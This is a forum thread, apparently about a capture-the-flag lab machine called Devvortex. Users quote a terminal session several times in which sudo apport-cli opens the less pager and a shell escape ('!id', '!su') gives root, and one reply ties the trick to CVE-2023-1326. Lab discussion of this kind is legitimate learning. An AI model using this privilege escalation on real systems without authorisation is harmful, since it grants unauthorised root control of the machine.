[antimony]

I was just going to paste the actual result of john but let people work it out a bit

could you send me the password. Its taking me ages to crack the hash !!!!!!

[tetra02]

logan@devvortex:~$ sudo apport-cli -c /bin/mysql less

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
.............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.6 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
!id
uid=0(root) gid=0(root) groups=0(root)

How did you find out you have to put `less` after the command ?? i couldn't get any hint in the POC as well

dammmmmmmmmmmmmmmmmmmm bro how did you think of using less ???? I have seen many explaining the vulnerability but none of them helped me... except when I tried to use your command there everything worked wonderfully.... explain a little your way of thinking or the method xD you are super confused...

[artifice]

logan@devvortex:~$ sudo apport-cli -c /bin/mysql less

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
.............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.6 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
!id
uid=0(root) gid=0(root) groups=0(root)

How did you find out you have to put `less` after the command ?? i couldn't get any hint in the POC as well

dammmmmmmmmmmmmmmmmmmm bro how did you think of using less ???? I have seen many explaining the vulnerability but none of them helped me... except when I tried to use your command there everything worked wonderfully.... explain a little your way of thinking or the method xD you are super confused...

CVE-2023-1326 explains the exploit a bit. Once you use less just do !su and you're root

[noobhumein]

logan@devvortex:~$ sudo apport-cli -c /bin/mysql less

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes.
.............

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (1.6 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): V
!id
uid=0(root) gid=0(root) groups=0(root)

How did you find out you have to put `less` after the command ?? i couldn't get any hint in the POC as well

guysssss anyone ??